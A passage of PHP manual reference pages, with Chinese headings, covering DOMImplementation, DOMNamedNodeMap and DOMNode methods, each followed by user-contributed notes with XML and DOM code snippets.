The external subset public identifier.

systemId

The external subset system identifier.

返回值

A new DOMDocumentType node with its ownerDocument set to NULL.

错误／异常

DOM_NAMESPACE_ERR

Raised if there is an error with the namespace, as determined by qualifiedName.

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

范例

Example #1 Creating a document with an attached DTD

<?php

// Creates an instance of the DOMImplementation class
$imp = new DOMImplementation;

// Creates a DOMDocumentType instance
$dtd = $imp->createDocumentType('graph', '', 'graph.dtd');

// Creates a DOMDocument instance
$dom = $imp->createDocument("", "", $dtd);

// Set other properties
$dom->encoding = 'UTF-8';
$dom->standalone = false;

// Create an empty element
$element = $dom->createElement('graph');

// Append the element
$dom->appendChild($element);

// Retrieve and print the document
echo $dom->saveXML();

?>

以上例程会输出：

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE graph SYSTEM "graph.dtd">
<graph/>

参见

  • DOMImplementation::createDocument() - Creates a DOMDocument object of the specified type with its document element

User Contributed Notes

until-all-bytes-are-free at example dot org 09-Apr-2011 04:28
I had problems to use a DTD from a file. It needed to be resolved relatively and it contained characters that made DomDocument failed to resolve the file.

Encoding and an absolute filename did not help much. So I used the data:// streamwrapper ( http://php.net/manual/en/wrappers.data.php ) as a work-around:

<?php

// relative or absolute filename
$path = '...';

// convert file contents into a filename
$data = file_get_contents($path);
$systemId = 'data://text/plain;base64,'.base64_encode($data);

// ...

// Creates a DOMDocumentType instance
$dtd = $aImp->createDocumentType('qualified name', '', $systemId);

?>

Works like a charm.


Test if the DOM implementation implements a specific feature

  • ? DOMImplementation::createDocumentType
  • DOMNamedNodeMap ?
  • PHP Manual
  • DOMImplementation
  • Test if the DOM implementation implements a specific feature

DOMImplementation::hasFeature

(PHP 5, PHP 7)

DOMImplementation::hasFeature — Test if the DOM implementation implements a specific feature

说明

public DOMImplementation::hasFeature ( string $feature , string $version ) : bool

Test if the DOM implementation implements a specific feature.

You can find a list of all features in the » Conformance section of the DOM specification.

参数

feature

The feature to test.

version

The version number of the feature to test. In level 2, this can be either 2.0 or 1.0.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

错误／异常

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

范例

Example #1 Testing your DOM Implementation

<?php

$features = array(
  'Core'           => 'Core module',
  'XML'            => 'XML module',
  'HTML'           => 'HTML module',
  'Views'          => 'Views module',
  'Stylesheets'    => 'Style Sheets module',
  'CSS'            => 'CSS module',
  'CSS2'           => 'CSS2 module',
  'Events'         => 'Events module',
  'UIEvents'       => 'User interface Events module',
  'MouseEvents'    => 'Mouse Events module',
  'MutationEvents' => 'Mutation Events module',
  'HTMLEvents'     => 'HTML Events module',
  'Range'          => 'Range module',
  'Traversal'      => 'Traversal module'
);

foreach ($features as $key => $name) {
  if (DOMImplementation::hasFeature($key, '2.0')) {
    echo "Has feature $name\n";
  } else {
    echo "Missing feature $name\n";
  }
}

?>

参见

  • DOMNode::isSupported() - Checks if feature is supported for specified version

User Contributed Notes

There are no user contributed notes for this page.


The DOMNamedNodeMap class

(PHP 5, PHP 7)

类摘要

DOMNamedNodeMap implements Traversable , Countable {
/* 属性 */
readonly public int $length ;
/* 方法 */
public count ( void ) : int
getNamedItem ( string $name ) : DOMNode
getNamedItemNS ( string $namespaceURI , string $localName ) : DOMNode
item ( int $index ) : DOMNode
}

属性

length

The number of nodes in the map. The range of valid child node indices is 0 to length - 1 inclusive.

Table of Contents

  • DOMNamedNodeMap::count — Get number of nodes in the map
  • DOMNamedNodeMap::getNamedItem — Retrieves a node specified by name
  • DOMNamedNodeMap::getNamedItemNS — Retrieves a node specified by local name and namespace URI
  • DOMNamedNodeMap::item — Retrieves a node specified by index

User Contributed Notes

kendsnyder at gmail dot com 29-Oct-2009 07:55
To add to xafford's comment. When iterating a named node map collection using ->item() or using foreach, removing a attribute with DOMNode->removeAttribute() or DOMNode->removeAttributeNode() alters the collection as if it were a stack. To illustrate, the code below tries to remove all attributes from each element but only removes the first. One work around is to copy the named node map into an array before removing attributes. Using PHP 5.2.9 on Windows XP.

<?php
error_reporting(E_ALL);
$html  = '<h1 id="h1test" class="h1test">Heading</h1>';
$html .= '<p align="left" class="ptest">Hello World</p>';

$doc = new DOMDocument();
$doc->loadHTML($html);

// remove attributes from  the h1 element
$h1 = $doc->getElementsByTagName('h1')->item(0);
$length = $h1->attributes->length;
for ($i = 0; $i < $length; ++$i) {
    $name = $h1->attributes->item($i)->name;
    $h1->removeAttribute($name);
    echo "h1: removed attribute `$name`<br>";
}
// remove attributes from the p element
$p = $doc->getElementsByTagName('p')->item(0);
foreach ($p->attributes as $name => $attrNode) {
    $p->removeAttribute($name);
    echo "p: removed attribute `$name`<br>";
}

?>

OUTPUT:
-------
h1: removed attribute `id`

Notice: Trying to get property of non-object in nodemap.php on line 13
h1: removed attribute ``
p: removed attribute `align`
xafford 15-Oct-2009 03:16
I stumbled upon a problem with DOMNamedNodeMap. If you iterate over a DOMNamedNodeMap, representing the attributes of a DOMElement with foreach and you use DOMElement::removeAttributeNode only the first attribute will be handled.

Example (not complete):

<?php

/*
 * Imagine you got a node like this:
 * <a onclick="alert('evil')" href="http://example.com">evil</a>
 * and onclick should be removed, href would not be tested.
 */

foreach ( $node->attributes as $attribute )
{

    echo 'checking attribute ', $attribute->name, '<br />';

    if ( ! in_array ( $attribute->name, $allowed_attributes ) )
    {
        $node->removeAttributeNode ( $attribute );
    }

}

?>

The output would be:

checking attribute onclick


Get number of nodes in the map

  • ? DOMNamedNodeMap
  • DOMNamedNodeMap::getNamedItem ?
  • PHP Manual
  • DOMNamedNodeMap
  • Get number of nodes in the map

DOMNamedNodeMap::count

(PHP 7 >= 7.2.0)

DOMNamedNodeMap::count — Get number of nodes in the map

说明

public DOMNamedNodeMap::count ( void ) : int

Gets the number of nodes in the map.

参数

此函数没有参数。

返回值

Returns the number of nodes in the map, which is identical to the length property.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a node specified by name

  • ? DOMNamedNodeMap::count
  • DOMNamedNodeMap::getNamedItemNS ?
  • PHP Manual
  • DOMNamedNodeMap
  • Retrieves a node specified by name

DOMNamedNodeMap::getNamedItem

(PHP 5, PHP 7)

DOMNamedNodeMap::getNamedItem — Retrieves a node specified by name

说明

DOMNamedNodeMap::getNamedItem ( string $name ) : DOMNode

Retrieves a node specified by its nodeName.

参数

name

The nodeName of the node to retrieve.

返回值

A node (of any type) with the specified nodeName, or NULL if no node is found.

参见

  • DOMNamedNodeMap::getNamedItemNS() - Retrieves a node specified by local name and namespace URI

User Contributed Notes

franp at free dot fr 03-Mar-2006 07:28
Basic example of use :

<?xml version="1.0" encoding="UTF-8"?>
<racine version="2.0a">
  <article/>
</racine>

<?php
(...)
 echo $doc->documentElement->attributes->getNamedItem("version")->nodeValue;

// returns "2.0a"
?>


Retrieves a node specified by local name and namespace URI

  • ? DOMNamedNodeMap::getNamedItem
  • DOMNamedNodeMap::item ?
  • PHP Manual
  • DOMNamedNodeMap
  • Retrieves a node specified by local name and namespace URI

DOMNamedNodeMap::getNamedItemNS

(PHP 5, PHP 7)

DOMNamedNodeMap::getNamedItemNS — Retrieves a node specified by local name and namespace URI

说明

DOMNamedNodeMap::getNamedItemNS ( string $namespaceURI , string $localName ) : DOMNode

Retrieves a node specified by localName and namespaceURI.

参数

namespaceURI

The namespace URI of the node to retrieve.

localName

The local name of the node to retrieve.

返回值

A node (of any type) with the specified local name and namespace URI, or NULL if no node is found.

参见

  • DOMNamedNodeMap::getNamedItem() - Retrieves a node specified by name

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a node specified by index

  • ? DOMNamedNodeMap::getNamedItemNS
  • DOMNode ?
  • PHP Manual
  • DOMNamedNodeMap
  • Retrieves a node specified by index

DOMNamedNodeMap::item

(PHP 5, PHP 7)

DOMNamedNodeMap::item — Retrieves a node specified by index

说明

DOMNamedNodeMap::item ( int $index ) : DOMNode

Retrieves a node specified by index within the DOMNamedNodeMap object.

参数

index

Index into this map.

返回值

The node at the indexth position in the map, or NULL if that is not a valid index (greater than or equal to the number of nodes in this map).

User Contributed Notes

reyjacobs at yahoo dot com 07-Mar-2008 11:24
Nevermind: I got it, and here it is:

<?php
if($element->hasAttributes())
{
    $attributes = $element->attributes;
    if(!is_null($attributes))
    {
        foreach ($attributes as $index=>$attr)
        {
            echo $attr->name."=\"".$attr->value."\"";
        }
    }
}
?>


The DOMNode class

(PHP 5, PHP 7)

类摘要

DOMNode {
/* 属性 */
public readonly string $nodeName ;
public string $nodeValue ;
public readonly int $nodeType ;
public readonly DOMNode $parentNode ;
public readonly DOMNodeList $childNodes ;
public readonly DOMNode $firstChild ;
public readonly DOMNode $lastChild ;
public readonly DOMNode $previousSibling ;
public readonly DOMNode $nextSibling ;
public readonly DOMNamedNodeMap $attributes ;
public readonly DOMDocument $ownerDocument ;
public readonly string $namespaceURI ;
public string $prefix ;
public readonly string $localName ;
public readonly string $baseURI ;
public string $textContent ;
/* 方法 */
public appendChild ( DOMNode $newnode ) : DOMNode
public C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string
public C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int
public cloneNode ([ bool $deep ] ) : DOMNode
public getLineNo ( void ) : int
public getNodePath ( void ) : string
public hasAttributes ( void ) : bool
public hasChildNodes ( void ) : bool
public insertBefore ( DOMNode $newnode [, DOMNode $refnode ] ) : DOMNode
public isDefaultNamespace ( string $namespaceURI ) : bool
public isSameNode ( DOMNode $node ) : bool
public isSupported ( string $feature , string $version ) : bool
public lookupNamespaceUri ( string $prefix ) : string
public lookupPrefix ( string $namespaceURI ) : string
public normalize ( void ) : void
public removeChild ( DOMNode $oldnode ) : DOMNode
public replaceChild ( DOMNode $newnode , DOMNode $oldnode ) : DOMNode
}

属性

nodeName

Returns the most accurate name for the current node type

nodeValue

The value of this node, depending on its type. Contrary to the W3C specification, the node value of DOMElement nodes is equal to DOMNode::textContent instead of NULL.

nodeType

Gets the type of the node. One of the predefined XML_xxx_NODE constants

parentNode

The parent of this node. If there is no such node, this returns NULL.

childNodes

A DOMNodeList that contains all children of this node. If there are no children, this is an empty DOMNodeList.

firstChild

The first child of this node. If there is no such node, this returns NULL.

lastChild

The last child of this node. If there is no such node, this returns NULL.

previousSibling

The node immediately preceding this node. If there is no such node, this returns NULL.

nextSibling

The node immediately following this node. If there is no such node, this returns NULL.

attributes

A DOMNamedNodeMap containing the attributes of this node (if it is a DOMElement) or NULL otherwise.

ownerDocument

The DOMDocument object associated with this node, or NULL if this node is a DOMDOcument

namespaceURI

The namespace URI of this node, or NULL if it is unspecified.

prefix

The namespace prefix of this node, or NULL if it is unspecified.

localName

Returns the local part of the qualified name of this node.

baseURI

The absolute base URI of this node or NULL if the implementation wasn't able to obtain an absolute URI.

textContent

The text content of this node and its descendants.

注释

Note:

The DOM extension uses UTF-8 encoding. Use utf8_encode() and utf8_decode() to work with texts in ISO-8859-1 encoding or Iconv for other encodings.

更新日志

版本 | 说明
5.6.1 | The textContent property has been made writable (formerly it has been readonly).

参见

  • » W3C specification of Node

Table of Contents

  • DOMNode::appendChild — Adds new child at the end of the children
  • DOMNode::C14N — Canonicalize nodes to a string
  • DOMNode::C14NFile — Canonicalize nodes to a file
  • DOMNode::cloneNode — Clones a node
  • DOMNode::getLineNo — Get line number for a node
  • DOMNode::getNodePath — Get an XPath for a node
  • DOMNode::hasAttributes — Checks if node has attributes
  • DOMNode::hasChildNodes — Checks if node has children
  • DOMNode::insertBefore — Adds a new child before a reference node
  • DOMNode::isDefaultNamespace — Checks if the specified namespaceURI is the default namespace or not
  • DOMNode::isSameNode — Indicates if two nodes are the same node
  • DOMNode::isSupported — Checks if feature is supported for specified version
  • DOMNode::lookupNamespaceUri — Gets the namespace URI of the node based on the prefix
  • DOMNode::lookupPrefix — Gets the namespace prefix of the node based on the namespace URI
  • DOMNode::normalize — Normalizes the node
  • DOMNode::removeChild — Removes child from list of children
  • DOMNode::replaceChild — Replaces a child

User Contributed Notes

Anonymous 06-May-2018 04:12
It would be helpful if docs for concrete properties mentioned readonly status of some properties:
"
ownerDocument

    The DOMDocument object associated with this node.

"
zlk1214 at gmail dot com 15-Jan-2016 01:07
A function that can set the inner HTML without encoding error. $html can be broken content such as "<a ID=id20>ssss"
function setInnerHTML($node, $html) {
    removeChildren($node);
    if (empty($html)) {
        return;
    }

    $doc = $node->ownerDocument;
    $htmlclip = new DOMDocument();
    $htmlclip->loadHTML('<meta http-equiv="Content-Type" content="text/html;CHARSET=gb2312"><div>' . $html . '</div>');
    $clipNode = $doc->importNode($htmlclip->documentElement->lastChild->firstChild, true);
    while ($item = $clipNode->firstChild) {
        $node->appendChild($item);
    }
}
metanull 24-Jul-2014 03:11
Yet another DOMNode to php array conversion function.
Other ones on this page are generating too "complex" arrays; this one should keep the array as tidy as possible.
Note: make sure to set LIBXML_NOBLANKS when calling DOMDocument::load, loadXML or loadHTML
See: http://be2.php.net/manual/en/libxml.constants.php
See: http://be2.php.net/manual/en/domdocument.loadxml.php

<?php
         /**
         * Returns an array representation of a DOMNode
         * Note, make sure to use the LIBXML_NOBLANKS flag when loading XML into the DOMDocument
         * @param DOMDocument $dom
         * @param DOMNode $node
         * @return array
         */
        function nodeToArray( $dom, $node) {
            if(!is_a( $dom, 'DOMDocument' ) || !is_a( $node, 'DOMNode' )) {
                return false;
            }
            $array = false;
            if( empty( trim( $node->localName ))) {// Discard empty nodes
                return false;
            }
            if( XML_TEXT_NODE == $node->nodeType ) {
                return $node->nodeValue;
            }
            foreach ($node->attributes as $attr) {
                $array['@'.$attr->localName] = $attr->nodeValue;
            }
            foreach ($node->childNodes as $childNode) {
                if ( 1 == $childNode->childNodes->length && XML_TEXT_NODE == $childNode->firstChild->nodeType ) {
                    $array[$childNode->localName] = $childNode->nodeValue;
                }  else {
                    if( false !== ($a = self::nodeToArray( $dom, $childNode))) {
                        $array[$childNode->localName] =     $a;
                    }
                }
            }
            return $array;
        }
?>
pizarropablo at gmail dot com 16-Apr-2014 02:36
In response to: alastair dot dallas at gmail dot com about "#text" nodes.
"#text" nodes appear when there are spaces or new lines between end tag and next initial tag.

Eg "<data><age>10</age>[SPACES]<other>20</other>[SPACES]</data>"

"data" childNodes has 4 childs:
- age = 10
- #text = spaces
- other = 20
- #text =  spaces
matej dot golian at gmail dot com 29-Aug-2013 01:15
Here is a little function that truncates a DomNode to a specified number of text characters. I use it to generate HTML excerpts for my blog entries.

<?php

function makehtmlexcerpt(DomNode $html, $excerptlength)
{
$remove = 0;
$htmllength = strlen(html_entity_decode($html->textContent, ENT_QUOTES, 'UTF-8'));
$truncate = $htmllength - $excerptlength;
if($htmllength > $excerptlength)
{
if($html->hasChildNodes())
{
$children = $html->childNodes;
for($counter = 0; $counter < $children->length; $counter ++)
{
$child = $children->item($children->length - ($counter + 1));
$childlength = strlen(html_entity_decode($child->textContent, ENT_QUOTES, 'UTF-8'));
if($childlength <= $truncate)
{
$remove ++;
$truncate = $truncate - $childlength;
}
else
{
$child = makehtmlexcerpt($child, $childlength - $truncate);
break;
}
}
if($remove != 0)
{
for($counter = 0; $counter < $remove; $counter ++)
{
$html->removeChild($html->lastChild);
}
}
}
else
{
if($html->nodeName == '#text')
{
$html->nodeValue = substr(html_entity_decode($html->nodeValue, ENT_QUOTES, 'UTF-8'), 0, $htmllength - $truncate);
}
}
}
return $html;
}

?>
alastair dot dallas at gmail dot com 25-Sep-2011 08:44
The issues around mixed content took me some experimentation to remember, so I thought I'd add this note to save others time.

When your markup is something like: <div><p>First text.</p><ul><li><p>First bullet</p></li></ul></div>, you'll get XML_ELEMENT_NODEs that are quite regular. The <div> has children <p> and <ul> and the nodeValue for both <p>s yields the text you expect.

But when your markup is more like <p>This is <b>bold</b> and this is <i>italic</i>.</p>, you realize that the nodeValue for XML_ELEMENT_NODEs is not reliable. In this case, you need to look at the <p>'s child nodes. For this example, the <p> has children: #text, <b>, #text, <i>, #text.

In this example, the nodeValue of <b> and <i> is the same as their #text children. But you could have markup like: <p>This <b>is bold and <i>bold italic</i></b>, you see?</p>. In this case, you need to look at the children of <b>, which will be #text, <i>, because the nodeValue of <b> will not be sufficient.

XML_TEXT_NODEs have no children and are always named '#text'. Depending on how whitespace is handled, your tree may have "empty" #text nodes as children of <body> and elsewhere.

Attributes are nodes, but I had forgotten that they are not in the tree expressed by childNodes. Walking the full tree using childNodes will not visit any attribute nodes.
imranomar at gmail dot com 20-Mar-2011 06:10
Just discovered that node->nodeValue strips out all the tags
I. Cook 19-Apr-2010 02:43
For a reference with more information about the XML DOM node types, see http://www.w3schools.com/dom/dom_nodetype.asp

(When using PHP DOMNode, these constants need to be prefaced with "XML_")
R. Studer 13-Jan-2010 09:03
For clarification:
The assumingly 'discoverd' by previous posters and seemingly undocumented methods (.getElementsByTagName and .getAttribute) on this class (DOMNode) are in fact methods of the class DOMElement, which inherits from DOMNode.

See: http://www.php.net/manual/en/class.domelement.php
David Rekowski 08-Jan-2010 01:54
You cannot simply overwrite $textContent, to replace the text content of a DOMNode, as the missing readonly flag suggests. Instead you have to do something like this:

<?php

$node->removeChild($node->firstChild);
$node->appendChild(new DOMText('new text content'));

?>

This example shows what happens:

<?php

$doc = DOMDocument::loadXML('<node>old content</node>');
$node = $doc->getElementsByTagName('node')->item(0);
echo "Content 1: ".$node->textContent."\n";

$node->textContent = 'new content';
echo "Content 2: ".$node->textContent."\n";

$newText = new DOMText('new content');

$node->appendChild($newText);
echo "Content 3: ".$node->textContent."\n";

$node->removeChild($node->firstChild);
$node->appendChild($newText);
echo "Content 4: ".$node->textContent."\n";

?>

The output is:

Content 1: old content // starting content
Content 2: old content // trying to replace overwriting $node->textContent
Content 3: old contentnew content // simply appending the new text node
Content 4: new content // removing firstchild before appending the new text node

If you want to have a CDATA section, use this:

<?php
$doc = DOMDocument::loadXML('<node>old content</node>');
$node = $doc->getElementsByTagName('node')->item(0);
$node->removeChild($node->firstChild);
$newText = $doc->createCDATASection('new cdata content');
$node->appendChild($newText);
echo "Content withCDATA: ".$doc->saveXML($node)."\n";
?>
Steve K 03-Nov-2009 11:47
This class apparently also has a getElementsByTagName method.

I was able to confirm this by evaluating the output from DOMNodeList->item() against various tests with the is_a() function.
marc at ermshaus dot org 05-May-2009 08:36
It took me forever to find a mapping for the XML_*_NODE constants. So I thought, it'd be handy to paste it here:

 1 XML_ELEMENT_NODE
 2 XML_ATTRIBUTE_NODE
 3 XML_TEXT_NODE
 4 XML_CDATA_SECTION_NODE
 5 XML_ENTITY_REFERENCE_NODE
 6 XML_ENTITY_NODE
 7 XML_PROCESSING_INSTRUCTION_NODE
 8 XML_COMMENT_NODE
 9 XML_DOCUMENT_NODE
10 XML_DOCUMENT_TYPE_NODE
11 XML_DOCUMENT_FRAGMENT_NODE
12 XML_NOTATION_NODE
matt at lamplightdb dot co dot uk 06-Apr-2009 05:39
And apparently also a setAttribute method too:

$node->setAttribute( 'attrName' , 'value' );
brian wildwoodassociates.info 07-Dec-2008 11:27
This class has a getAttribute method.

Assume that a DOMNode object $ref contained an anchor taken out of a DOMNode List.  Then

    $url = $ref->getAttribute('href');

would isolate the url associated with the href part of the anchor.


Adds new child at the end of the children

  • ? DOMNode
  • DOMNode::C14N ?
  • PHP Manual
  • DOMNode
  • Adds new child at the end of the children

DOMNode::appendChild

(PHP 5, PHP 7)

DOMNode::appendChild — Adds new child at the end of the children

说明

public DOMNode::appendChild ( DOMNode $newnode ) : DOMNode

This function appends a child to an existing list of children or creates a new list of children. The child can be created with e.g. DOMDocument::createElement(), DOMDocument::createTextNode() etc. or simply by using any other node.

参数

newnode

The appended child.

返回值

The node added.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the newnode node, or if the node to append is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if newnode was created from a different document than the one that created this node.

范例

The following example will add a new element node to a fresh document.

Example #1 Adding a child

<?php

$doc = new DOMDocument;

$node = $doc->createElement("para");
$newnode = $doc->appendChild($node);

echo $doc->saveXML();
?>

Example #2 Nested children

<?php

$doc = new DOMDocument;

$headNode = $doc->createElement("head");
$doc->appendChild($headNode);

$titleNode = $doc->createElement("title");
$headNode->appendChild($titleNode);

echo $doc->saveXML();
?>

参见

  • DOMNode::insertBefore() - Adds a new child before a reference node
  • DOMNode::removeChild() - Removes child from list of children
  • DOMNode::replaceChild() - Replaces a child

User Contributed Notes

cweiske at php dot net 05-Nov-2017 01:56
If you want to move the children of one node to another, you cannot simply iterate on $element->childNodes - you have to make an array first:

<?php
$children = [];
foreach ($elemWithChildren->childNodes as $child) {
    $children[] = $child;
}
foreach ($children as $child) {
    $targetElement->appendChild($child);
}
?>
frame at dynamiccreated dot de 01-Dec-2010 04:14
Aware dealing with DOMNodeList and appendChild() on the same Node.

If you want to replace only the children not the DOMElement itself you probably foreach childNodes-property or get the DOMElements with a for-loop and item()-method of the DOMNodeList.

You will fail if you not clone the received single DOMElement. Actually the count of the DOMNodelist will be decreased on appendChild count but appendChild seems to refer to the old Nodelist and nothing visible will happen. Cloning will help.
krisdover at hotmail dot com 31-May-2008 08:49
What's not mentioned here is that DOMNode::appendChild() can also be used to move an existing node to another part of the DOMDocument, e.g.

<?php
$doc = new DOMDocument();
$doc->loadXML("<foobar><bar/><foo/></foobar>");
$bar = $doc->documentElement->firstChild;
$foo = $doc->documentElement->lastChild;
$foo->appendChild($bar);
print $doc->saveXML();
?>

This produces:

<?xml version="1.0"?>
<foobar><foo><bar/></foo></foobar>

Note that the nodes "<foo/>" and "<bar/>" were siblings, i.e. the first and last child of "<foobar>" but using appendChild() we were able to move "<bar/>" so that it is a child of "<foo/>".

This saves you the trouble of doing a DOMNode::removeChild($bar) to remove "<bar/>" before appending it as a child of "<foo/>".

Kris Dover
jrtayloriv at gmail dot com 30-Mar-2008 04:56
If you want to create nested DOM elements:

<?php
    $doc = new DOMDocument();

    $foo = $doc->createElement("foo");
    $doc->appendChild($foo);

    $bar = $doc->createElement("bar");
    $foo->appendChild($bar);

    $bazz = $doc->createElement("bazz");
    $foo->appendChild($bazz);

    echo $doc->saveXML();
?>

Is equivalent to:

<foo>
  <bar></bar>
  <bazz></bazz>
</foo>


Canonicalize nodes to a string

  • ? DOMNode::appendChild
  • DOMNode::C14NFile ?
  • PHP Manual
  • DOMNode
  • Canonicalize nodes to a string

DOMNode::C14N

(PHP 5 >= 5.2.0, PHP 7)

DOMNode::C14N — Canonicalize nodes to a string

说明

public DOMNode::C14N ([ bool $exclusive [, bool $with_comments [, array $xpath [, array $ns_prefixes ]]]] ) : string

Canonicalize nodes to a string

参数

exclusive

Enable exclusive parsing of only the nodes matched by the provided xpath or namespace prefixes.

with_comments

Retain comments in output.

xpath

An array of xpaths to filter the nodes by.

ns_prefixes

An array of namespace prefixes to filter the nodes by.

返回值

Returns canonicalized nodes as a string 或者在失败时返回 FALSE

参见

  • DOMNode::C14NFile() - Canonicalize nodes to a file

User Contributed Notes

lordbaco 28-Jan-2016 09:57
Good to know:

<< Due to a known issue in XML canonicalization in PHP, processing large metadata files in SimpleSAMLphp takes a big amount of resources, with that amount growing approximately by the square of the number of entities in the metadata set >>
https://simplesamlphp.org/metaprocessing

<< The C14N() function appears to have a runtime that is O(N^2) (or possibly worse?) depending on input size, which means that it becomes very slow as the input grows. For example, an input with around 196000 nodes takes about 290 seconds, while an input with 486000 nodes takes 2200 seconds. >>
https://bugs.php.net/bug.php?id=53655

We had the same issue with a 4.1 MB XML (105k lines). The sample code of ticket  #53655 takes 1h36 minute to canonicalize it!
jorda at edpsciences dot org 13-Mar-2015 09:11
C14N() returns an empty string if the node is not included in the document tree:
<?php
$d = new DOMDocument('1.0');
$d->loadXML('<foo></foo>');
$n = $d->createElement('bar');
var_dump($n->C14N());
$d->documentElement->appendChild($n);
var_dump($n->C14N());
?>
output:
string(0) ""
string(11) "<bar></bar>"
Rijk 27-Mar-2013 09:26
When working with (malformed) HTML, you're probably better off using DOMDocument's saveHTML() method instead. C14N() will attempt to make your HTML valid XML, for example by converting <br> to <br></br>.

So instead of:
$html = $Node->C14N();

Use:
$html = $Node->ownerDocument->saveHTML( $Node );


Canonicalize nodes to a file

  • ? DOMNode::C14N
  • DOMNode::cloneNode ?
  • PHP Manual
  • DOMNode
  • Canonicalize nodes to a file

DOMNode::C14NFile

(PHP 5 >= 5.2.0, PHP 7)

DOMNode::C14NFile — Canonicalize nodes to a file

说明

public DOMNode::C14NFile ( string $uri [, bool $exclusive = FALSE [, bool $with_comments = FALSE [, array $xpath [, array $ns_prefixes ]]]] ) : int

Canonicalize nodes to a file.

参数

uri

Path to write the output to.

exclusive

Enable exclusive parsing of only the nodes matched by the provided xpath or namespace prefixes.

with_comments

Retain comments in output.

xpath

An array of xpaths to filter the nodes by.

ns_prefixes

An array of namespace prefixes to filter the nodes by.

返回值

Number of bytes written 或者在失败时返回 FALSE

参见

  • DOMNode::C14N() - Canonicalize nodes to a string

User Contributed Notes

There are no user contributed notes for this page.


Clones a node

  • ? DOMNode::C14NFile
  • DOMNode::getLineNo ?
  • PHP Manual
  • DOMNode
  • Clones a node

DOMNode::cloneNode

(PHP 5, PHP 7)

DOMNode::cloneNode — Clones a node

说明

public DOMNode::cloneNode ([ bool $deep ] ) : DOMNode

Creates a copy of the node.

参数

deep

Indicates whether to copy all descendant nodes. This parameter is defaulted to FALSE.

返回值

The cloned node.

User Contributed Notes

cmd at 1xinternet dot de 16-Nov-2016 12:11
If you need to clone node including all child DOMNode elements:

private function cloneNode($node){

        $nd = new DOMNode();

        for ($i = 0; $i < $node->childNodes->length; $i++) {
            $child = $node->childNodes->item($i);
            if ($child->nodeType === XML_TEXT_NODE) {
                $nd->appendChild($node->cloneNode(true));
            }
            else{
                $nd->appendChild($this->cloneNode($child));
            }
        }

        return $nd;
    }
h-fate at gmx dot net 01-Oct-2014 07:48
If you have an object that holds a DOMNode, cloning the object won't clone the DOMNode with it. If you simply copy the object or add its DOMNode several times, you will in fact only move the DOMNode in the tree, not multiply it. That might seem obvious, but took me half a day to find out.

The object needs to use __clone and clone the node manually:

<?php
class containsNode {
    public $node; //set from somewhere

    public function __clone() {
        $this->node = $this->node->cloneNode(TRUE);
    }
}
?>
frame at dynamiccreated dot de 02-Dec-2012 02:19
Remeber that DOMNode always needs a reference to a parent node or DOMDocument.

For example, if you try to clone a node - copy all children - and overwrite or delete the variable which holds the cloned node - all children will loose any reference and getting invalid.

This will cause a nice message like "Couldn't... node no longer exists" if you have luck. In most cases PHP only gives you the poor information "Couldn't fetch DOM[...]" which makes hard to find out whats going on, depending on the current operation.
cemkalyoncu at gmail dot com 28-Apr-2009 03:04
If you need some function to clone a node without touching namespaces you can use the following.

<?php
private function cloneNode($node,$doc){
    $nd=$doc->createElement($node->nodeName);

    foreach($node->attributes as $value)
        $nd->setAttribute($value->nodeName,$value->value);

    if(!$node->childNodes)
        return $nd;

    foreach($node->childNodes as $child) {
        if($child->nodeName=="#text")
            $nd->appendChild($doc->createTextNode($child->nodeValue));
        else
            $nd->appendChild(cloneNode($child,$doc));
    }

    return $nd;
}
?>
[montana] at [percepticon] dot [com] 16-Feb-2009 02:23
<?php

//@oliver thanks for example source...

/*
 cloneNode(false) does not omit
 Attributes of cloned node,
 to achieve this an iteration is required.
 this is probably less efficient
 than merely creating a new
 node from the desired nodeName
 but in some cases could be useful.

use case:

omit subnodes and attributes of
secured portions of an xml document
without altering expected general structure;
*/
//xml to use

$file="<?xml version='1.0'?>
<book type='paperback'>
    <title name='MAP'>Red Nails</title>
    <price>$12.99</price>
    <author>
        <name first='Robert' middle='E' last='Howard'/>
        <birthdate disco='false' nirvana='definitely'>
            9/21/1977
            <month title='september' />
        </birthdate>
    </author>
    <author>
        <name first='Arthur' middle='Mc' last='Kayn'/>
    </author>
</book>";

$doc = new domDocument;

$doc->loadXML($file);

$xpath = new domXPath($doc);

$query = "//author/birthdate";
$xpathQuery = $xpath->query($query);

//would be a loop in production code...
$child = $xpathQuery->item(0);

$parent = $child->parentNode;

$doppel = $child->cloneNode(false);

$limit = $doppel->attributes->length;

for ($a=0;$a<$limit;$a++) {
    $doppel->removeAttributeNode($doppel->attributes->item(0));
}
//swap for now empty node
$parent->replaceChild( $doppel, $child);

print $doc->saveXML();

?>
oliver dot christen at camptocamp dot com 19-Nov-2004 08:48
simple exemple of node cloning

<?xml version="1.0"?>

<book type="paperback">
    <title name='MAP'>Red Nails</title>
    <price>$12.99</price>
    <author>
        <name first="Robert" middle="E" last="Howard"/>
        <birthdate>9/21/1977</birthdate>
    </author>
    <author>
        <name first="Arthur" middle="Mc" last="Kayn"/>
    </author>
</book>

<?php

//filename xml file to use
$file = 'book.xml';

$doc = new domDocument;

if (file_exists($file)) {
    $doc->load($file);
} else {
    exit('Erreur !.');
}

$xpath = new domXPath($doc);

$query = "//author/*";
$xpathQuery = $xpath->query($query);

$size = $xpathQuery->length;
for ($i=0; $i<$size; $i++){
    $node = $xpathQuery->item($i);
    if ($node->nodeName == 'birthdate' && $node->hasChildNodes() && $node->firstChild->textContent != ''){
        $clonenode = $node->cloneNode(true);
        $refnode = $node;
    }
}
for ($i=0; $i<$size; $i++){
    $node = $xpathQuery->item($i);
    if (!$node->isSameNode($refnode)){
        $newnode = $node->appendChild($clonenode);
    }
}

print $doc->saveXML();

?>


Get line number for a node

  • ? DOMNode::cloneNode
  • DOMNode::getNodePath ?
  • PHP Manual
  • DOMNode
  • Get line number for a node

DOMNode::getLineNo

